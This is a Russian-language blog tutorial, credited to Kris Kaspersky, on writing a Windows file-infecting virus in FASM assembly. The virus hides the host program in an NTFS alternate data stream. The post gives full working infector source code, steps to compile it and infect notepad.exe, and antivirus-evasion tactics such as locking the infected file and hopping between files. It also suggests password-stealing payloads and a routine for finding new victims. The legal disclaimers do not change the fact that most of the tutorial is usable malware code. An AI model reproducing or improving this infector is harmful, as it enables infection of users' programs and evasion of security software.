Virus Intro and Virus Writing

Как написать вирус для windows

Конструирование вирусов — отличный стимул изучать ассемблер. И хотя вирус, в принципе, можно написать и на С, это будет как-то не по-хакерски и вообще неправильно. Следующий далее текст — заметка Криса Касперски, которая раньше не публиковалась. Из нее ты узнаешь, как создаются вирусы и как написать простой вирус для Windows при помощи FASM.
Virus Intro and Virus Writing
 

 

C чего начать писать вирус для windows?

Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

Файловая система NTFS поддерживает несколько потоков в рамках одного файла
Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream. Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4, вводим с клавиатуры имя файла и потока данных, например xxx:yyy, и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx.

Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу <F4> и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy.

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

 

Алгоритм работы вируса

Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.

Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.

В качестве примера архиватора, поддерживающего файловые потоки, можно привести WinRAR. Вкладка «Дополнительно» в диалоговом окне «Имя и параметры архива» содержит группу опций NTFS. В составе этой группы опций есть флажок «Сохранять файловые потоки». Установи эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.

Архиватор RAR способен сохранять файловые потоки в процессе архивации
Архиватор RAR способен сохранять файловые потоки в процессе архивации

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx.

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.

Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.

 

Программный код вируса для windows

Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком эти языки неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера. Вот исходный код нашего вируса.

include 'c:\fasm\INCLUDE\WIN32AX.INC'
.data
    foo db "foo",0        ; Имя временного файла
    code_name db ":bar",0 ; Имя потока, в котором будет...
    code_name_end:        ; ...сохранено основное тело

    ; Различные текстовые строки, которые выводит вирус
    aInfected db "infected",0
    aHello db "Hello, you are hacked"

    ; Различные буфера для служебных целей
    buf rb 1000
    xxx rb 1000
.code

start:
    ; Удаляем временный файл
    push foo
    call [DeleteFile]

    ; Определяем наше имя
    push 1000
    push buf
    push 0
    call [GetModuleFileName]

    ; Считываем командную строку
    ; Ключ filename  заразить
    call [GetCommandLine]
    mov ebp, eax
    xor ebx, ebx
    mov ecx, 202A2D2Dh ;

rool:
    cmp [eax], ecx ; это '--*'?
    jz infect
    inc eax
    cmp [eax], ebx ; Конец командной строки?
    jnz rool

    ; Выводим диагностическое сообщение,
    ; подтверждая свое присутствие в файле
    push 0
    push aInfected
    push aHello
    push 0
    call [MessageBox]

    ; Добавляем к своему имени имя потока NTFS
    mov esi, code_name
    mov edi, buf
    mov ecx, 100; сode_name_end - code_name
    xor eax,eax
    repne scasb
    dec edi
    rep movsb

    ; Запускаем поток NTFS на выполнение
    push xxx
    push xxx
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push ebp
    push buf
    call [CreateProcess]
    jmp go2exit ; Выходим из вируса

infect:
    ; Устанавливаем eax на первый символ имени файла-жертвы
    ; (далее по тексту dst)
    add eax, 4
    xchg eax, ebp
    xor eax,eax
    inc eax

    ; Здесь можно вставить проверку dst на заражение
    ; Переименовываем dst в foo
    push foo
    push ebp
    call [MoveFile]

    ; Копируем в foo основной поток dst
    push eax
    push ebp
    push buf
    call [CopyFile]

    ; Добавляем к своему имени имя потока NTFS
    mov esi, ebp
    mov edi, buf

copy_rool:
    lodsb
    stosb
    test al,al
    jnz copy_rool
    mov esi, code_name
    dec edi

copy_rool2:
    lodsb
    stosb
    test al,al
    jnz copy_rool2

    ; Копируем foo в dst:bar
    push eax
    push buf
    push foo
    call [CopyFile]

    ; Здесь не помешает добавить коррекцию длины заражаемого файла
    ; Удаляем foo
    push foo
    call [DeleteFile]

    ; Выводим диагностическое сообщение,
    ; подтверждающее успешность заражения файла
    push 0
    push aInfected
    push ebp
    push 0
    call [MessageBox]

    ; Выход из вируса

go2exit:
    push 0
    call [ExitProcess]
.end start
 

Компиляция и тестирование вируса для windows

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте flatassembler.net. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачай последнюю версию FASM для Windows, распакуй архив и запусти приложение fasmw.exe. Скопируй исходный код вируса в окошко программы и выполни команды Run → Compile, а затем укажи, в какую папку сохранить скомпилированный исполняемый файл.

Запустим его на выполнение с опцией командной строки --*, вписав после нее имя файла, который требуется заразить, например notepad.exe (xcode.exe --* notepad.exe). Появление диалогового окна, показанного на рисунке, говорит, что вирус внедрен в исполняемый файл блокнота.

Диалоговое окно, свидетельствующее об успешном заражении
Диалоговое окно, свидетельствующее об успешном заражении

Если попытка заражения потерпела неудачу, первым делом необходимо убедиться, что права доступа к файлу есть. Захватывать их самостоятельно наш вирус не умеет. Во всяком случае — пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.

Теперь запусти зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно, показанное на рисунке, а после нажатия на кнопку ОK передает управление оригинальному коду программы.

Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение
Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение

Чтобы фокус сработал в Windows 10, вирус должен быть запущен от имени администратора.

Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной начинкой. Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду notepad.exe --* sol.exe. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение.

До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и совершал вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.

Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию CreateFile, передать ей имя файла вместе с потоком (например, notepad.exe:bar) и проверить результат. Если файл открыть не удалось, значит, потока bar этот файл не содержит и, следовательно, он еще не заражен. Если же файл удалось успешно открыть, стоит отказаться от заражения или выбрать другой поток. Например: bar_01, bar_02, bar_03.

Еще одна проблема заключается в том, что вирус не корректирует длину целевого файла и после внедрения она станет равной 4 Кбайт (именно таков размер текущей версии исполняемого файла вируса). Это плохо, так как пользователь тут же заподозрит подвох (файл explorer.exe, занимающий 4 Кбайт, выглядит довольно забавно), занервничает и начнет запускать антивирусы. Чтобы устранить этот недостаток, можно запомнить длину инфицируемого файла перед внедрением, затем скопировать в основной поток тело вируса, открыть файл на запись и вызвать функцию SetFilePointer для установки указателя на оригинальный размер, увеличивая размер инфицированного файла до исходного значения.

Заключение

Предложенная стратегия внедрения, конечно, неидеальна, но все же это намного лучше, чем прописываться в реестре, который контролируется множеством утилит мониторинга. Наконец, чтобы не пострадать от своего же собственного вируса, каждый вирусописатель всегда должен иметь под рукой противоядие. Командный файл, приведенный в следующем листинге, извлекает оригинальное содержимое файла из потока bar и записывает его в файл reborn.exe.

more < %1:bar > reborn.exe
ECHO Im reborn now!

Используй полученные знания с осторожностью, изучай ассемблер, не забывай мыть руки перед едой и всегда помни о том, что создание вирусов в каких-либо иных целях, кроме исследовательских, не только очень веселое, но еще и противозаконное занятие. А закон, как любил говорить один литературный персонаж, надо чтить!

Click to rate this post!
[Total: 5 Average: 5]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

1 comments On Как написать вирус для windows

Leave a reply:

Your email address will not be published.